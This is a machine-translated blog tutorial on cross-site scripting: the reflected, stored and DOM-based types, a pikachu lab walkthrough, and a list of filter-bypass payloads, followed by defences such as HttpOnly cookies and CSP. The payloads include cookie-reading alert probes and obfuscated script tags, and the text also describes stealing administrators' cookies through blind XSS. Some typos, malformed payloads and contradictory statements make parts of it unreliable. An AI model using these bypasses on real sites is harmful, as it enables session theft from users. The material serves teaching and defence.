The Basic Vulnerabilities of the Web--XSS Vulnerabilities

Table of contents

1. Introduction to XSS Vulnerabilities

1. XSS vulnerability principle

2. Types of XSS vulnerabilities

reflective

storage type

DOM type

The difference between the three

3. Vulnerability identification

4. Attack method

5. XSS vulnerability hazards

6. Vulnerability defense

2. The attack method of XSS vulnerability--injecting script code

1. Reflective type

2. Storage type

3. DOM type

4. XSS blind typing

5. Bypass technology of XSS vulnerability

double write bypass

encoding bypass

Pseudo-protocol bypass 

space bypass

Case conversion bypass

Use IE features to bypass

Use css features to bypass

Comments bypass keyword filtering

+16 bypasses filtering on "<>"

+unicode bypasses filtering on "<>"

IMG source bypass

6. Preventive measures against XSS


1. Introduction to XSS Vulnerabilities

XSS vulnerability (Cross Site Scripting )

XSS is a vulnerability that occurs at the front end of the Web, so its harmful objects are mainly front-end users. It means that the attacker injects malicious script code into the page. When the victim visits the page, the malicious code will be executed on the browser. It should be emphasized that XSS is not limited to JavaScript scripting language, but also other scripts such as flash language.

1. XSS vulnerability principle

The server does not strictly filter the data submitted by the user, causing the browser to treat the user's input as script code (js) and return it directly to the client for execution, thereby achieving the purpose of attacking the client

2. Types of XSS vulnerabilities

There are 3 types of XSS vulnerabilities:

  1. reflective
  2. storage type
  3. dom type

reflective

Reflective XSS is temporary, which means that the injected code is not stored in the backend, but will be processed on the server side and then echoed

storage type

Stored XSS will store malicious code in the database, so as to achieve a long-term harm effect.

DOM type

DOM-type XSS uses html dom, which is only processed and executed in the browser without going through the backend, which is also temporary. 

The difference between the three

  1. Storage type xss and dom type xss are one-time attacks, while storage type xss is persistent
  2. Compared with reflection and storage type xss , the attack data of DOM type xss does not pass through the server, so it is difficult to be detected by traffic monitoring equipment.

3. Vulnerability identification

There is an input box and the input box is not filtered by special characters

4. Attack method

Find the place where the input box exists in the system, enter the payload test, and then select the type to inject the desired script code

Special case:

If there is filtering, script filtering can be bypassed by <a herf="#" onclick="alert(document.cookie)">, etc., and double-quote filtering can be bypassed by javascript:alert(document.cookie) etc. 

XSS payload collection: https://github.com/payloadbox/x

5. XSS vulnerability hazards

  1. Steal user cookies
  2. Add, delete, modify and check articles in the background
  3. XSS phishing attack
  4. Use XSS vulnerabilities to spread and modify web page code
  5. XSS worm attack
  6. website redirection
  7. get keylogger
  8. Obtain user information, etc.
  9. Combined with other vulnerabilities (combined with cstf vulnerabilities for getshell: for example, the small skin panel rce vulnerability that broke out some time ago )

Hazard level: storage type > reflection type > DOM type

6. Vulnerability defense

The general principle: filter the input and escape the output
1. Escape or filter the input content.

2. Escape or encode the output content

3. Set the cookie to httponly, so that the client cannot obtain the cookie through the script

2. The attack method of XSS vulnerability--injecting script code

Realize XSS vulnerability attack by writing script code to the input box

Reminder: Compared with the xss vulnerability of the post method, the Get type is easier to be exploited, just send the URL with the xss vulnerability to the target

1. Reflective type

Enter some special symbols in the input box such as: ;"'<>9999
to check whether these special characters will be filtered, whether they are output,
check the source code of the returned page, CTRL+F to find the string we entered in the page, check Will our input be output intact?
If after entering a long string, it is found that it cannot be input. This is a security setting made on the front end. Just open the web developer tool on this page and find the limit input length Just modify the statement.
Enter the code <script>alert('xss')</script>, you can find that the entered code is executed
because it is one-time, and it is not stored in the background database, so when we refresh the page, it will pop up window disappears

2. Storage type

The reason for the formation of reflective xss is the same, the difference is that the background will save our input to the database, causing long-term damage. Usually in places like message boards.

As in the previous idea, enter some special characters in the input box and click Submit. Open the source code of the page to see if our input has been processed
. Construct a jsp statement with a pop-up window as above, and a pop-up window will appear after submission. Refresh the page and find that the pop-up window is still there, indicating that our input has been stored

3. DOM type

You can understand DOM as a standard programming interface for accessing HTML. Dom is a pure front-end operation

For pikachu's Dom-type level, check the source code of the page:
<a href='"+str+"'>what do you see?</a>
or construct a pop-up window: #' onclick="alert(666)">
and then this becomes:
<a href='#' onclick="alert(666)">'>what do you see?</a>

Since Dom-type xss is a pure front-end operation, it is all about the client, so it cannot be defended through WAF

4. XSS blind typing

XSS blind typing refers to an attack scenario.

It means that our input will not be output on the front end, that is, it will be output in the background. In other words, only the administrator will see our input.
For example, submit: <script>alert('xni')</script> to set a pop-up window,
which is xss blind typing. For the attacker, it is just an input to try. It is not known whether the background is output, but it is just an input to cross-site script. The administrator is hacked and the attacker succeeds. This kind of harm is relatively serious. If a script that steals cookies is entered in the front end, once the administrator logs in, the administrator's cookie will be obtained. The attacker can pretend to be an administrator to log in to the background, and the permissions of the background will be increased.

5. Bypass technology of XSS vulnerability

Bypass technology refers to bypassing the defense of xss vulnerabilities and completing xss vulnerability attacks

double write bypass

代码:<scscriptript>alert("xss")</scscriptript>

encoding bypass

Encoding: <script>eval(atob(base64))</script>

Pseudo-protocol bypass 

代码:<a hrrf="javascript:alert(document.cookie)">xss</a>

space bypass

Code: <script>alert("xss")</script>

Case conversion bypass

 Code: <Script>alert("xss")</Script>

Use IE features to bypass

In IE, two backticks `` can close the left double quotes`` Onmοuseοver=alert("xss")

Use css features to bypass

background-color:#f00;backbround:url("javascript:alert("xss");");

Comments bypass keyword filtering

expres/**/sion(if(!window.x){alert(document.domain);window.x=1})

+16 bypasses filtering on "<>"

Code: \\x3cscript\\x3ealert("xss")\\x3c\script\\x3e

+unicode bypasses filtering on "<>"

Code: \\u3cscript\\u3ealert("xss")\\u3c\script\\u3e

IMG source bypass

The meaning of the source
The source consists of protocol, host name, port name

Example: protocol://hostname:portnumber/

Same-origin policy
In computers, the same-origin policy is used to prevent malicious code from a non-same-origin page from accessing another non-same-origin page

Only two pages belonging to the same source can access each other. Client scripts from different sources cannot read and write each other’s resources without explicit authorization, so js scripts under a.com use ajax to read file data in b.com and an error will be reported

IE source special treatment
1. Mutual trust domain names located in trusted domains, not restricted by the same-origin policy
2. IE does not consider port when judging the same source
, but reads or modifies the source through document.domain. But there are limits. The modified source cannot be modified again by other scripts

The domain attribute can solve the attribute sharing problem of different documents caused by security policies. The descendant domain document.domain same-origin policy considers that the domain and sub-domain belong to different domains, for example: child1.a.com domain a.com is of different origin

By setting document.domain='a.com', the browser will think that they are all from the same source. To achieve communication between any of the above two pages, both pages must set document.domain='a.com'
 

6. Preventive measures against XSS

Filter user input
For example, adding blacklist or whitelist rules, such as adding sensitive characters such as & " ' / expression javascript import
line escape
Use HttpOnly Cookies
If the HttpOnly attribute is set in the cookie, the cookie information cannot be read through the js script, which can effectively prevent XSS
attack and steal cookie content, which can effectively prevent XSS attacks from stealing cookies.
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
Set the X-XSS-Protection attribute
This property is enabled by default in all major browsers. X-XSS-Protection, the XSS protection attribute, is set in the response header to use
To prevent XSS attacks. Stop rendering the page when an XSS attack is detected.
header("X-XSS-Protection: 1");
Enable CSP web page security policy
CSP is the abbreviation of Content Security Policy. After enabling the strategy, it can play the following roles
It is forbidden to load external domain code to prevent complex attack logic.
Submitting from external domains is prohibited. After the website is attacked, user data will not be leaked to external domains.
Prohibits inline script execution (the rules are stricter, and GitHub is currently found to be used).
Prevent unauthorized script execution (new feature, in use by Google Maps for mobile).
Reasonable use of reporting can detect XSS in time, which is conducive to fixing the problem as soon as possible.
Avoid inline events
Try not to use onLoad="onload('{ {data}}')", onClick="go('{ {action}}')" to splice inline events. exist
It is safer to bind events via .addEventlistener() in JavaScript.
Use a template engine
Enable the built-in HTML escaping function of the template engine. For example: in ejs, try to use instead of; in doT.js, try to use
{ {! data } instead of { {= data }; In FreeMarker, make sure the engine version is higher than 2.3.24.

Guess you like

Origin blog.csdn.net/weixin_62421736/article/details/130945504